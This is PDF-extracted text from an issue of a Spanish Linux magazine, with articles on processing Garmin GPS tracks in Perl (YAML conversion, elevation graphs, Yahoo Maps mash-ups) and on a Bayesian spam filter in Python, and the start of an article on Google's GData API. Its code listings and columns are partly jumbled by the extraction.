Figura 1: El receptor GPS “eTrex” fabricado por Garmin es un dispositivo de bajo coste para principiantes.
puerto paralelo (/dev/ttyS1, para el primer puerto sería con /dev/ttyS0) y guardar la información en formato GPX (-o gpx) en un archivo denominado tracks.txt (-F tracks.txt). Para evitar tener que ejecutar el proceso que controla el dispositivo GPS como root, tenemos que conseguir que el dispositivo para el segundo puerto paralelo se pueda escribir antes de leer la información (el proceso requiere permisos de escritura): # chmod a+rw /dev/ttyS1 # ls -l /dev/ttyS1 crw-rw-rw- 1 root uucp 4, U 65 Feb 10 22:47U /dev/ttyS1
Algún tiempo más tarde (sea paciente: los puertos serie se inventaron en el siglo pasado), el comando gpsbabel termina de ejecutarse y encontraremos, si todo va bien, la información de la ruta en formato XML en el archivo tracks.txt (véase la Figura 3). Para no tener que parsear toda la
RECURSOS [1] Listados del artículo: http://www. linux-magazine.es/Magazine/ Downloads/22 [2] “Google Maps Hacks”, Rich Gibson & Schuyler Erle, O’Reilly 2006 [3] HOWTO y dirección para un cable Garmin “hágalo-usted-mismo”: http://pfranc.com [4] Convertidor de formato GPS: http:// www.gpsbabel.org [5] Yahoo! Maps Web Services – Guía de iniciación del API AJAX: http:// developer.yahoo.com/maps/ajax/
44
Número 22
información XML para las evaluaciones que vamos a llevar a cabo, el script del Listado 1 convierte la información a formato YAML, que es más sencillo de interpretar que el XML. Del mismo modo, la información YAML puede ser convertida, dicho sea de paso, a estructuras de información Perl de una pasada. La Figura 4 muestra la información YAML. Es más fácil de leer, ¿no? track2yml usa el módulo XML::Twig de CPAN, que define un manejador al que Twig salta por cada etiqueta Trkpt. El objeto XML::Twig::Elt, pasado al manejador, representa la etiqueta <trkpt> encontrada con todas sus sub-etiquetas. El atributo lat (de latitud) es un valor decimal. Las latitudes Norte son positivas, y las Sur son negativas. El atributo lon (de longitud) expresa las longitudes Oeste como negativas y las Este como positivas. El subelemento ele nos da la altura de un punto de la ruta por encima del nivel de mar, en metros. La etiqueta <time> nos da la hora en formato UTC (huso horario GMT) en notación ISO 8601. La función str2time() del módulo Date::Parse de CPAN convierte el registro
Figura 2: Un cable especial nos permite conectar el eTrex al puerto serie de nuestro PC.
de hora ISO 8610 a formato Unix independiente del huso horario, en segundos, para facilitar cálculos posteriores. La función handler() empaqueta toda la información en un hash y guarda una referencia al hash como un elemento en el array global @points. El método DumpFile del módulo YAML, al que se llama más tarde, guarda todo el array, incluyendo las referencias
Listado 1: tracks2yml 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16
#!/usr/bin/perl -w use strict; use Sysadm::Install qw(:all); use XML::Twig; use Date::Parse; use YAML qw(DumpFile); my $twig= XML::Twig->new( TwigHandlers => { “trkpt” => \&handler, } ); my @points = ();
$twig->parsefile(“tracks.xml”) ; 17 DumpFile(“tracks.yml”, \@points); 18 19 ############################## 20 sub handler { 21 ############################## 22 my($t, $trkpt)= @_; 23 24 my $lat =
WWW.LINUX- MAGAZINE.ES
$trkpt->att(‘lat’); my $lon = $trkpt->att(‘lon’); 26 my $ele = $trkpt->first_child( 27 ‘ele’)->text(); 28 29 my $isotime = $trkpt->first_child( 30 ‘time’)->text(); 31 my $time = str2time($isotime); 32 33 push @points, { 34 lat => $lat, lon => $lon, 35 ele => $ele, time => $time, 36 isotime => $isotime, 37 }; 38 } 25
Perl: GPS • DESARROLLO
Figura 3: La información de la ruta en formato GPX (XML) que se ha descargado del GPS Garmin.
hash, con un formato fácilmente legible en un archivo denominado tracks.yml, donde scripts posteriores lo pueden leer llamando a LoadFile().
Cuesta Arriba y Cuesta Abajo La excursión de hoy nos lleva al norte del puente Golden Gate a lo largo del “Coastal Trail” y del “Rodeo Trail” cuesta arriba y cuesta abajo a través de las “Marin Headlands”, un paisaje pintoresco y ondulado de la costa del Pacífico. Recabamos la información guardada por el sistema GPS a lo largo del camino de tres horas, y representamos la información de elevación en un eje de tiempo obteniendo como resultado el gráfico mostrado en la Figura 5.
Figura 4: La misma información de la ruta en formato YAML tras la conversión con track2yml.
Un poco más tarde de la 1:00 pm, comencé la excursión a una altitud de unos 200 metros por encima del nivel del mar, bajando hasta dicho nivel tras una hora y media de suaves subidas y bajadas. A esto le siguió una subida de 200 metros de vuelta al punto de salida del circuito. El Listado 2 representa el gráfico usando el módulo RRDTool::OO, que usa, tras el escenario, la base de datos round robin rrdtool. Hice uso de rrdtool debido a su elegante (digamos mejor, automática) representación de la hora en el eje X. La línea 8 lee la información YAML, y el constructor new() crea a continuación una nueva base de datos RRD, usando para ello un archivo temporal, pues no vamos a conservar la
información más adelante. La función tmpfile() devuelve dos argumentos, de los cuales sólo vamos a pasar el primero a new(). El método create() define entonces el esquema de almacenamiento de la información, que aguarda un valor cada 60 segundos. El receptor GPS lleva la cuenta cada par de segundos, pero rrdtool simplemente agrega la información. La base de datos puede guardar un máximo de 10.000 puntos de elevación, lo cual debe ser suficiente incluso para excursiones largas. El bucle for que comienza en la línea 25 itera sobre los puntos de ruta y alimenta con ellos la base de datos, junto con el tiempo, haciendo uso para ello del método
Listado 2: elerrd 01 02 03 04 05 06 07
#!/usr/bin/perl -w use strict; use YAML qw(LoadFile); use RRDTool::OO; use File::Temp qw(tempfile); my $trkpts = LoadFile(“tracks.yml”);
08 09 my $rrd = RRDTool::OO->new( 10 file => (tempfile())[1]); 11 12 $rrd->create( 13 start => $trkpts->[0]->{time} - 1,
14 15
step => 60, data_source => { name => “elevation”, 16 type => “GAUGE” }, 17 archive => { rows => 10000 }); 18 19 for my $trkpt (@$trkpts) { 20 eval { # Deal with dupes 21 $rrd->update(time => $trkpt->{time}, 22 value => $trkpt->{ele}); 23 };
WWW.LINUX- MAGAZINE.ES
24 } 25 26 $rrd->graph( 27 start => $trkpts->[0]->{time}, 28 end => $trkpts->[-1]->{time}, 29 image => “elevation.png”, 30 vertical_label => ‘Elevation’, 31 width => 300, 32 height => 75, 33 lower_limit => 0, 34 );
Número 22
45
DESARROLLO • Perl:GPS
update(). Dado que rrdtool da error y aborta si aparece un mismo registro de tiempo duplicado, se ha envuelto el comando update en un bloque eval para conseguir que el script sea más tolerante. El método graph() representa el gráfico. El primer punto de la ruta fija la hora de comienzo, y el registro del último punto el de finalización. Casi instantáneamente, deberíamos obtener un atractivo diagrama en formato PNG en el archivo especificado en la línea 39, elevation.png (véase la Figura 5).
Sumas y Esferas Para calcular la distancia cubierta, el Listado 3 tiene que iterar a través de todos los puntos de ruta, calcular la distancia entre ellos y añadir las distancias una a una. Cada punto de la ruta es una referencia a un hash que guarda la latitud en lat y la longitud en lon. $last_pt guarda el punto de ruta de la última iteración del bucle (salvo en la primera iteración). A continuación calcula la distancia entre dos puntos de ruta en función de los valores de longitud y latitud. Esto no es trivial, ya que los valores representan puntos de la superficie de un elipsoide. El módulo Geo::Distance de CPAN usa funciones trigonométricas para efectuar los cálculos y proporciona un sencillo método distance(), que aguarda la unidad de medida requerida (kilómetros o millas) y dos puntos de la ruta dados como valores de longitud y latitud. La función devuelve un valor de la distancia, que luego atrapa dist: $ ./dist Total: 11.67km
haciendo uso de un sencillo API Javascript. Para representar la ruta en un mapa de Yahoo, en primer lugar tengo que reducir el volumen de información. Los 1800 puntos de ruta que recogí durante mi excursión sólo me generarían un fenomenal lío. Esta es la razón por la cual el Listado 4 itera sobre los puntos de ruta en un bucle Figura 6: La plantilla con el código Javascript para crear el mash-up. for, pasando los puntos de ruta que están a más de 0,4 kilónido dentro de las etiquetas mágicas metros del punto precedente al final del [%...%]. El Template Toolkit proporciona array @points. De nuevo, Geo::Distance se un sencillo lenguaje de script con control encarga de los complejos cálculos de dislimitado de las funcionalidades para evitar tancias. tener que programar mucho en la capa de Está disponible un HOWTO de Mash-up presentación. De igual manera, el acceso a en [5]. La Figura 6 muestra el código las variables es sorprendentemente senciJavascript necesario. Si pretendemos usar llo. Hashes, arrays y referencias se controel API, nótese que previamente deberíalan de la misma manera usando un punto mos obtener la ID de la aplicación. El Lis(.) mágico. Por ejemplo, para referenciar el tado 4 usa la ID de YahooDemo, que perprimer elemento en un array apuntado por mite 50.000 peticiones por día para una $points, y para extraer el valor de la clave dirección IP. Obsérvese que el servicio no lat en el hash subyancente, la notación del permite navegación GPS online. La inforTemplate Toolkit es points.0.lat. En Perl se mación GPS debe tener al menos 6 horas hubiese necesitado $points->[0]->{lat} de antigüedad. para esto mismo. ¡Magnífico! El código Javascript y varias etiquetas La salida del Listado 4 simplemente se HTML se guardan en el archivo plantilla redirige a un archivo HTML y luego se map.tmpl, que se lee por el Listado 4, representa por un navegador. Esto nos prointerpretado a través del Template Toolkit porciona una ventana de 600x400 píxeles de CPAN mediante el procesado del contecon un mapa que podemos mover y esca-
Listado 3: dist
Machacando los Mapas Recientemente se han puesto muy de moda los denominados “mash-ups”. Básicamente se trata de modificar un mapa online con una extensión hecha por uno mismo. Además de Google, la compañía para la que yo trabajo, Yahoo!, también permite a los programadores añadir etiquetas dinámicamente a mapas escalables
Figura 5: Elevación sobre el nivel del mar durante la excursión.
46
Número 22
01 02 03 04 05 06
#!/usr/bin/perl -w use strict; use YAML qw(LoadFile); use Geo::Distance;
my $trkpts = LoadFile(“tracks.yml”); 07 my $geo = Geo::Distance->new(); 08 09 my $total = 0; 10 my $last_pt; 11 12 for my $trkpt (@$trkpts) { 13 if($last_pt) {
WWW.LINUX- MAGAZINE.ES
14
my $k = $geo->distance(“kilometer”, 15 $last_pt->{lon}, $last_pt->{lat}, 16 $trkpt->{lon}, $trkpt->{lat}); 17 18 $total += $k; 19 } 20 $last_pt = $trkpt; 21 } 22 23 printf “Total: %.2fkm\n”, $total;
Perl: GPS • DESARROLLO
Figura 7: El mash-up finalizado con los puntos de ruta de la excursión por el norte de San Francisco. Un script representa los puntos guardados durante la excursión por el dispositivo eTrex.
lar, dado que el Javascript incrustado se comunica con el servidor de mapas de Yahoo. Podemos conmutar a la vista de satélite, y existe incluso un modo híbrido que nos permite superponer la imagen por satélite con la información del mapa. La Figura 7 muestra la imagen inicial del navegador en el que los puntos de ruta
Figura 8: El mismo mash-up, tras pulsar el botón en el borde superior izquierdo para conmutar al modo híbrido con satélite y luego escalarlo con la herramienta de zoom.
se presentan como pequeñas burbujas naranjas numeradas del 1 al 19. Los lectores de fuera de Estados Unidos deberían advertir que los mapas de Yahoo para su región puede que no sean tan detallados, pero las imágenes por satélite (de baja resolución) al menos deberían ser suficientes.
El código Javascript de la Figura 6 sólo demuestra algunos de los trucos más sencillos para el API. Podemos añadir burbujas con imágenes u otras virguerías. Los eventos como pulsaciones y arrastres del ratón se pueden capturar, evaluar con algo de código Javascript, y posiblemente enviar de vuelta ■ al servidor usando los trucos de Ajax.
Listado 4: map 01 #!/usr/bin/perl -w 02 ############################## 03 # map - Marcas de progreso en Yahoo Map 04 # Mike Schilli, 2006 (m@perlmeister.com) 05 ############################## 06 use strict; 07 use YAML qw(LoadFile); 08 use Geo::Distance; 09 use Template; 10 11 my $trkpts = LoadFile(“tracks.yml”); 12 my $geo = Geo::Distance->new(); 13 14 my $count = 0;
15 my $min = 0.4; # Minimum marker distance 16 my @points = (); 17 my $last_pt; 18 19 for my $trkpt (@$trkpts) { 20 if($last_pt) { 21 my $k = $geo->distance(“kilometer”, 22 $last_pt->{lon}, $last_pt->{lat}, 23 $trkpt->{lon}, $trkpt->{lat}); 24 25 next if $k < $min; 26 } 27 $trkpt->{count} = ++$count; 28 push @points, $trkpt;
WWW.LINUX- MAGAZINE.ES
29 30 $last_pt = $trkpt; 31 } 32 33 my $template = Template->new(); 34 my $vars = { points => \@points }; 35 36 $template->process(“map.tmpl”, $vars) or 37 die $template->error();
Número 22
47
DESARROLLO • Python
Filtros Bayesianos en Python
EL SPAM SE VA A ACABAR Paul Graham publicó un artículo en 2002 en el que decía que los filtros bayesianos acabarían con el Spam, pero ¿qué es un filtro bayesiano? y, peor aún ¿qué es en realidad el spam? POR JOSE MARÍA RUÍZ AGUILERA
E
s una buena pregunta y su contestación no es sencilla. Si definimos Spam como correo no solicitado, entonces no habría forma de determinar si un correo es spam o no. Pero afortunadamente el spam posee unas características bien definidas. Su mensaje es repetitivo, y el texto, tarde o temprano, tiene que hacer referencia a lo que nos intenta vender. En 1998, M. Sahami, S. Dumais, D. Heckerman y E. Horvitz, cuatro estudiosos de la inteligencia artificial, se dieron cuenta del problema que se nos venía encima. Presentaron su trabajo A Bayesian approach to filtering junk e-mail (una aproximación bayesiana al filtrado del correo basura) en un congreso de la Asociación Americana de Inteligencia Artificial. A pesar de presentar unos resultados muy esperanzadores para la lucha contra el spam, esta técnica permane-
Listado 1: Ejemplo de uso de conjuntos 01 02 03 04 05 06 07 08 09 10 11 12 13 14
48
>>> a = {} >>> a[‘hola’]=1 >>> a[‘adios’]=2 >>> b = {} >>> b[‘hola’] = 3 >>> b[‘coche’] = 4 >>> import sets >>> c = sets.Set(a.keys()) sets.Set(b.keys()) >>> l = [] >>> for palabra in c: ... l.append(palabra) ... >>> l [‘hola’,’adios’,’coche’]
Número 22
|
ció en la penumbra. Hasta que el spam se volvió insoportable. En el año 2002, Paul Graham (ver Recurso [1]) escribió un ensayo titulado A plan for Spam, en el cual describía cómo programar un filtro bayesiano de spam. Paul estaba utilizando ese filtro desde hacía meses con gran éxito (según cuenta, con un 99.5 % de aciertos y ningún falso positivo). Por cierto, la palabra spam se la debemos al genial grupo humorístico Monty Python, de cuyo nombre surgió el nombre Python. Se puede ver el vídeo original del que surgió el nombre spam en el Recurso [2].
La cruzada contra el spam Paul ha dedicado meses a la lucha contra el spam. Comenzó clasificando manualmente el correo como spam o no spam en base a lo que leía en él, algo que probablemente hemos hecho todos/as en algún momento. Inspeccionaba los correos, llegaba a una conclusión y los colocaba en una carpeta u otra en base a esa conclusión. El problema de esta técnica es que, como el lector habrá supuesto o experimentado, a la larga cansa. En su ensayo Paul Graham cita a Norbert Wiener, padre de la cibernética, cuando dice «…si compites con esclavos acabas convirtiéndote en un esclavo». Y en eso se había convertido, en un esclavo de los spammers. Eran ellos quienes tenían las de ganar, porque son ellos quienes fijan las reglas del juego. Después de unos meses trasteando con técnicas simples, como por ejemplo clasificar los correos en base a frases o palabras clave del estilo xanax sex, se dio cuenta de que sería una lucha sin fin. Por ejemplo, los
WWW.LINUX- MAGAZINE.ES
spammers dejaron de usar la palabra «viagra» y comenzaron a usar «v1agra» e incluso «vagra» . Decidido a ganarles, pasó a investigar formas más sofisticadas de clasificación de textos, llegando hasta los filtros bayesianos. Implementó un nuevo filtro basado en ellos y el éxito fue extraordinario. Rápidamente todo el software de filtrado de correos incorporó una opción para emplear filtrado bayesiano.
Un poco de probabilidad El cálculo de probabilidades parece una técnica difícil de entender, pero la usamos de forma inconsciente en el día a día. Por ejemplo, siendo usuario habitual del transporte urbano, debo tomar ciertas decisiones dependiendo de determinadas variables, y así tengo en cuenta: • las distintas combinaciones de autobuses que me llevan a un mismo sitio • la cantidad de tiempo que debo esperar a que llegue el autobús • lo que tarda cada combinación de autobuses en llegar a su destino • … Imagina que llegas a una parada del autobús urbano y ves que está vacía, ¿tardará mucho en llegar el siguiente autobús? Si es domingo por la tarde y la parada está vacía, no podremos realizar ninguna predicción, el transporte urbano no es muy usado en días festivos. En cambio, si es lunes por la mañana, en hora punta y la parada está vacía, podremos suponer que el autobús ha pasado recientemente. En función de la información que está en nuestra mente tomamos decisiones, así
Python • DESARROLLO
como con aquella otra que podemos extraer del entorno. Calculamos las probabilidades de forma aproximada en busca de la mejor opción. Si fuésemos capaces de crear un programa que tomase decisiones como lo hace nuestra mente, habríamos sido los afortunados programadores creadores de la primera inteligencia artificial. Nuestro programa sólo puede operar con las matemáticas, así que, ¿cómo se pueden modelar estas decisiones empleando matemáticas?
Bayes El teorema de Bayes (o la probabilidad condicionada) es un ejemplo de matemática útil y práctica. Nos dice que la probabilidad de tomar el autobús sabiendo que es domingo es igual a la probabilidad de que siendo domingo se coja el autobús, por la probabilidad de coger el autobús y dividido por la probabilidad de que sea domingo. Volviendo al tema del filtrado de correos, ¿cómo sería esta fórmula en nuestro contexto? La probabilidad de que un correo sea spam sabiendo que contiene ciertas palabras («hola» ,«venta» ,«nigeria» , …) es igual a la probabilidad de que esas palabras estén en un correo spam («nigeria» es una palabra típica del spam) por la probabilidad de que un correo cualquiera sea spam (número de correos spam entre total de correos) dividido por la probabilidad de que aparezcan esas palabras en un correo cualquiera. La palabra «probabilidad» ha aparecido tantas veces, que estoy seguro que el lector se habrá asustado. Contrariamente a lo que pueda creer, la probabilidad es lo más sencillo de calcular en todo este asunto. Simplemente hay que realizar una división: la probabilidad de que una palabra aparezca en spam es igu48al al número de veces que aparece esa palabra en nuestro spam, dividido por el número de veces que aparece en nuestros correos, sean spam o no. Digamos que tenemos 100 correos, de los que 35 son spam y el resto, 65, no lo son. La palabra nigeria aparece 8 veces, 6 en correos spam y 2 en correos normales. La probabilidad es un número entre 0 y 1. En este caso, un 0.847, representa un 84% de probabilidad. Por tanto un correo con la palabra nigeria es muy probablemente spam.
Los filtros bayesianos Los filtros bayesianos han conseguido gran popularidad. En la Tabla [1] se pueden ver algunos ejemplos de uso real de esta técnica.
En nuestra implementación del filtro bayesiano vamos a necesitar alguna estructura de datos para guardar las apariciones de cada palabra tanto en el correo normal como en el spam. Emplearemos diccionarios. Usaremos dos directorios. En uno, al que llamaremos «spam» , guardaremos ficheros de texto con el cuerpo de correos spam. En el otro directorio, llamémosle «ok», guardaremos los ficheros con el cuerpo de correos normales. Nuestro primer paso consistirá en extraer las palabras que aparecen en los correos de ambos tipos y contar el número de apariciones de esas palabras. Entonces las guardaremos en dos diccionarios. Así si ok[‘’nigeria’’]es igual a 2, significará que la palabra «nigeria» aparece dos veces en nuestros correos normales, y si spam[``nigeria’’]es 5, nos vendrá a decir que nigeria aparece 5 veces en nuestros correos spam. Este proceso es rutinario: • abro fichero • genero una lista de sus palabras • guardo o actualizo su entrada en el diccionario correspondiente En palabras llanas, estamos creando un inventario de palabras. Para simplificar el código sólo romperemos el texto de forma simple, aprovechando la función split() que Python incorpora en sus cadenas. Esta función divide la cadena usando separadores estándar como pueden ser el punto o el espacio en blanco. Con nuestros dos diccionarios cargados de palabras, pasamos a la segunda fase: la creación de un diccionario conjunto donde guardemos la probabilidad de cada palabra de ser parte de un correo spam. Este tercer diccionario debe contener las palabras del diccionario oky del diccionario spam. Para ello debemos crear un diccionario que incorpore las entradas de ambos, pero una sola vez para cada uno, ¿cómo podemos mezclar las llaves de ambos diccionarios? La forma más sencilla es la que aparece en el Listado [1]. Importamos la librería sets que nos permite crear y manejar conjuntos. Creamos dos conjuntos usando las llaves de los diccionarios y los unimos con el operador |, la unión de conjuntos, que devuelve un conjunto con las entradas de los conjuntos unidos, pero sin repeticiones. Los conjuntos pueden tener entradas repetidas, pero cuando recorremos el conjunto con for no aparecen, porque los conjuntos sólo pueden devolver un elemento de cada tipo aunque estén repetidos. De esta forma tan sencilla
WWW.LINUX- MAGAZINE.ES
podemos obtener una lista con las llaves de ambos diccionarios. El siguiente paso es extraer las llaves de esa lista de llaves compartidas, guardando las entradas en una lista, y calcular la probabilidad de ser spam para cada una de ellas con una fórmula que pasamos a explicar.
Falsos positivos Uno de los problemas que encontramos cuando clasificamos algo es la aparición de falsos positivos. Esta expresión a veces suele escucharse en ámbitos médicos. Indica que se ha detectado algo, pero que en realidad no hay nada debido a que la prueba ha fallado. Por ejemplo, estamos enfrente de la parada del autobús, y vemos que tendremos dificultades para tomarlo, ya que un semáforo nos interrumpe el paso, por lo que lo damos por perdido. Pero conforme el semáforo se pone en verde el autobús sigue ahí, y como le dimos por perdido atravesamos el paso de cebra a paso normal. Sólo cuando estamos a mitad de él y aún vemos el autobús nos damos cuenta de nuestro fallo de razonamiento: si hubiésemos salido corriendo por el paso de cebra al ponerse el semáforo en verde podríamos haber tomado ese autobús. Después de este falso positivo se nos suele quedar cara de tontos, mientras el autobús se va sin nosotros a sólo unos pasos de distancia. Lo mismo ocurre con los filtros antispam. Si confiamos completamente en ellos, un día puede ocurrir que aparezca un falso positivo, que sea clasificado como spam y que nunca lleguemos a enterarnos de la llegada de un correo importante. Tenemos que minimizar la aparición de falsos positivos tanto como sea. Para ello tendremos que asumir que es preferible que
Listado 2: función es_spam() 01 >>> def es_spam(probs): 02 ... prod=reduce(lambda x, y: x * y, probs) 03 ... return prod / (prod + reduce(lambda x,y: x*y, map(lambda x: 1 - x, probs))) 04 ... 05 >>> p=[0.13,0.22,0.31,0.9,0.9,0.9, 0.7,0.3,0.11,0.8,0.1,0.1,0.7,0 .3,0.3] 06 >>> f(p) 07 0.034848854359010119
Número 22
49
DESARROLLO • Python
se cuele un poco de spam en nuestra bandeja de entrada a perder un correo importante. Es por esto que vamos a trabajar con una fórmula algo diferente a la de Bayes, emplearemos pesos. Un peso es un número que multiplica una cantidad para hacerla más grande, y por tanto, para hacer que «pese» más dentro de la fórmula.
La fórmula La fórmula, que podemos ver en el Listado 2, hace uso de las funciones max()y min(), que devuelven el máximo y el mínimo de sus argumentos. El objetivo de su uso es no permitir la aparición de valores ni demasiado pequeños ni demasiado grandes. Cualquier valor mayor que 0.99 pasará a ser 0.99, y cualquier valor menor que 0.1 se convertirá en 0.1. Esta técnica nos permite establecer un umbral con el que podremos controlar el acierto de nuestro filtro. Otro paso para mejorar la fórmula es no emplear la suma de correos correctos y spam. En su lugar usaremos sólo la cantidad de correos correctos o spam para calcular las probabilidades correspondientes. El objetivo de esto es ver lo importante que es una palabra dentro de uno de los grupos de correos, oky spam, y no en base al total. Es momento de ver la fórmula en acción, ver Listado [*]. La función acepta un solo parámetro, la palabra de la que queremos calcular la probabilidad. Los valores gy b (de good y bad) guardan la cantidad de apariciones de la palabra en el correo normal y el spam respectivamente. Como queremos tener tan pocos falsos positivos como sea posible, multiplicamos por 2 la cantidad de apariciones de las palabras en el correo normal. De esta forma damos más peso a las palabras que aparecen en el correo normal. Tenemos cuidado de comprobar primero si la palabra se encuentra en ese diccionario. El problema surge cuando la palabra no se encuentra en ninguno de los dos diccionarios, porque en tal caso, en la fórmula aparece una división por 0. Un número dividido por 0 generará un error, debido a que la división por 0 no está definida en matemáticas.
¿Y qué hacemos si se da este caso? Pues como convenio devolveremos una probabilidad de 0.0, y por eso guardamos ese valor en el variable resultado.
Implementación Vista la teoría vayamos a la práctica. Nuestro programa, ver Listado 3, se compone de dos clases. La primera, correos, sirve como una ayuda para la segunda filtro_bayesiano. En esta segunda clase es donde está lo más importante. El método __init__ de filtro_bayesiano muestra los pasos necesarios para inicializar el filtro que antes comentamos: • cargamos las palabras de los correos en diccionarios • generamos el diccionario con las probabilidades Para ello nos ayudamos del método analiza_correos. Usando la librería glob, que nos permite conseguir listados de ficheros, creamos una lista con los ficheros en el directorio de correo normal o spam, según el caso. Recorremos esa lista de ficheros, abriéndolos y pasando el texto que contienen a carga_correo. Como último paso, aumentamos en 1 el número de correos leídos de cada tipo, que nos permitirá posteriormente realizar el cálculo de probabilidades. carga_correo rompe el texto en palabras, y si la palabra no estaba en el diccionario correspondiente, que pasamos como parámetro, crea la entrada inicializándola a 1. En caso de que la palabra se hallase en el diccionario, aumentamos su cantidad en 1. Con lo realizado hasta el momento tendríamos listos los dos diccionarios, uno para correo normal y otro para spam. Ahora toca aplicar la fórmula.
Diccionario de probabilidades El método construye_diccionario es el encargado de extraer las llaves, las palabras, de los dos diccionarios y almacenar en un tercero la probabilidad de cada palabra mediante el método calcula_prob_spam.
Tabla 1: Filtros anti-spam con filtro bayesiano Nombre Spambayes POPFile SpamTUNNEL PASP Thunderbird SpamProb
50
Lenguaje Python Perl Java Python C++ Python
Número 22
URL http://spambayes.sf.net http://popfile.sf.net http://uiorean.cluj.astral.ro http://sf.net/projects/pasp http://www.mozilla.org/mailnews/spam.html http://spamprobe.sourceforge.net
WWW.LINUX- MAGAZINE.ES
El código de calcula_prob_spam tiene en cuenta la posible aparición de una división por cero, por lo que comprueba que el divisor, el número que divide, no sea cero con una simple suma ((g+b)>0). Devuelve un resultado numérico entre 0,0 y 1,0 , que será la probabilidad de que esa palabra pertenecezca a un correo con spam. Ya está listo nuestro filtro para decidir si un texto es spam o no.
¿Es esto spam? Para tomar la decisión, troceamos el texto que se nos pasa como argumento, con lo que obtenemos una lista de palabras, y realizamos las siguientes acciones: • Mapeamos sobre la lista el método prob_spam_palabra (ver Listado 3), lo que nos devuelve una lista de probabilidades. • Multiplicamos esas probabilidades unas con otras hasta tener un solo número. • Dividimos ese valor, que llamamos prod, por ese mismo valor más el resultado de multiplicar las probabilidades de que esas palabras no sean spam (este valor lo conseguimos restando esas probabilidades a 1) El resultado es un valor numérico entre 0.0 y 1.0. Cuanto mayor sea, más probable es que estemos analizando un correo spam. Como regla general, consideraremos spam cualquier valor por encima de 0.9, de forma que los falsos positivos sean mínimos.
Conclusión Cuando se lee acerca de técnicas matemáticas empleadas para resolver grandes problemas, normalmente pensamos que no seremos capaces de comprenderlas. Nada más lejos de la realidad. La matemática es una herramienta muy poderosa y aparece constantemente en nuestras vidas. Incluso con unos conocimientos básicos de pensamiento matemático, y no tanto de cálculo numérico como nos suelen enseñar, podemos dar soluciones simples y elegantes a problemas realmente I complicados.
RECURSOS [1] Solución de Paul Graham al problema del Spam: http://www.paulgraham. com/spam.html [2] Monty Python definen el Spam en su serie de televisión “Monty Python’s Flying Circus”: http://www.youtube. com/watch?v=d7uFntk0Bnk
Python • DESARROLLO
Listado 3: Nuestro filtro 001 002 003 004 005 006 007 008 009 010 011 012 013 014 015
#!/usr/local/bin/python # # -*- coding: utf-8 -*import glob, os, sys, sets class correos: # Esta clase es para ahorrar código def __init__(this,nombre,ruta): this.ruta=ruta this.nombre = nombre this.num = 0.0 this.palabras = {} def __str__(this): return “[Correos “+this.nombre+”] cantidad: “+str(this.num)
016 017 class filtro_bayesiano: 018 019 def __init__(this): 020 this.ok = correos(‘ok’,’./ok/’) 021 this.spam = correos(‘spam’,’./spam/’) 022 this.probs_spam = {} 023 this.carga() 024 this.construye_diccionario() 025 026 def carga(this): 027 this.analiza_correos(this.ok) 028 this.analiza_correos(this.spam ) 029 030 def analiza_correos(this,correos): 031 # Recibe una clase correos y usa sus datos 032 # para cargar en ella las palabras 033 034 lista = glob.glob(correos.ruta+”/*.txt ”) 035 for f in lista: 036 fichero = open(f) 037 this.carga_correo(correos,fich ero.read()) 038 correos.num += 1.0 039
040
# sacamos las llaves de ambos diccionarios, y las mezclamos en un 041 # conjunto del que vamos extrayendo. 042 043 def calcula_prob_spam(this,palabra ): 044 # La formula de Paul Graham 045 046 g = 0.0 047 b = 0.0 048 049 if this.ok.palabras.has_key(palab ra): 050 g = 2.0 * this.ok.palabras[palabra] 051 052 if this.spam.palabras.has_key(pal abra): 053 b = this.spam.palabras[palabra] 054 055 # En caso de que no haya palabras de un tipo.... 056 resultado = 0.0 057 058 if (g + b) > 0: 059 resultado = max( 0.1, 060 min(0.99, 061 min(1.0, b / this.spam.num) 062 / 063 (min(1.0, g/this.ok.num) + min(1.0, b/this.spam.num)))) 064 065 return resultado 066 067 def construye_diccionario(this): 068 # Creamos un cojunto con las llaves 069 llaves = sets.Set(this.ok.palabras.keys ()) | sets.Set(this.spam.palabras.ke ys()) 070 071 for llave in llaves: 072 this.probs_spam[llave] = this.calcula_prob_spam(llave) 073
WWW.LINUX- MAGAZINE.ES
074
def carga_correo(this,correos,corr eo): 075 # Carga las palabras de un correo en 076 # el diccionario correspondiente 077 078 for palabra in correo.split(): 079 if correos.palabras.has_key(palab ra): 080 correos.palabras[palabra] += 1 081 else: 082 correos.palabras[palabra] = 1 083 084 def prob_spam_palabra(this,palabra ): 085 if this.probs_spam.has_key(palabr a): 086 return this.probs_spam[palabra] 087 else: 088 return 0.01 089 090 def es_spam(this, texto): 091 lista = texto.split() 092 probs = map(lambda x: this.prob_spam_palabra(x), lista) 093 094 prod = reduce(lambda x,y: x*y, probs) 095 096 resultado = prod / (prod + reduce(lambda x,y: x*y, map(lambda x: 1 - x, probs))) 097 098 return resultado 099 100 # Ejemplo de uso 101 f = filtro_bayesiano() 102 cadenas = [“The VigraMax is the best solution”, 103 “hola Paul, ya tengo el artículo de Linux Magazine”] 104 for i in cadenas: 105 print f.es_spam(i)
Número 22
51
DESARROLLO • GData
Dirigiendo Google Calendar
DÍA D, HORA H Con el protocolo GData (el API de datos de Google) tendremos un acceso completo a los datos de las aplicaciones diseñadas por Google, incluido Google Calendar, de una manera unificada y sencilla. POR ALBERTO PLANAS
E
l API de Google para la integración de resultados de búsquedas que hemos tenido la oportunidad de conocer hace uso del protocolo SOAP para el acceso a servicios web[1]. SOAP es un protocolo complejo que requiere de la instalación y uso de librerías de terceros para lograr simplificar la creación de stubs, o funciones proxy o intermediarias, a partir del lenguaje de descripción de servicios web (WSDL). Con estas funciones, creadas de manera automática, lograremos realizar llamadas de acceso a objetos localizados en servidores remotos. También se encargan de codificar los mensajes, realizar la conexión por HTTP (o cualquier otro protocolo de transporte) con el servidor y controlar los errores de transmisión. Además los mensajes SOAP, en formato XML, son algo redundantes y recargados. Si programamos en lenguaje Python podemos hacer uso del interesante PyGoogle[2] de Mark Pilgrim, autor también del excelente libro Dive Into Python[3]. Esta librería simplifica el acceso al API SOAP de Google, proporcionando interfaces para la realización de búsquedas, obtención de la versión cacheada de un resultado e, incluso, la consulta a las sugerencias de escritura de parámetros de búsqueda. Esta librería necesita de otra para la generación de mensajes SOAP (SOAPpy). Como vemos, no es directo acceder a la funcionalidad de Google proporcionada desde el API de basado en SOAP. Necesitamos poner dos capas de funciones, objetos y métodos entre nuestra aplicación y los servicios ofrecidos por Google. Para simplificar este escenario, Google ha desarrollado el API de acceso a datos de Google. GData hace uso del protocolo HTTP para la transmisión de datos de sindicación en formato XML. Con este protocolo podemos enviar y recibir documentos en formato Atom 1.0 y 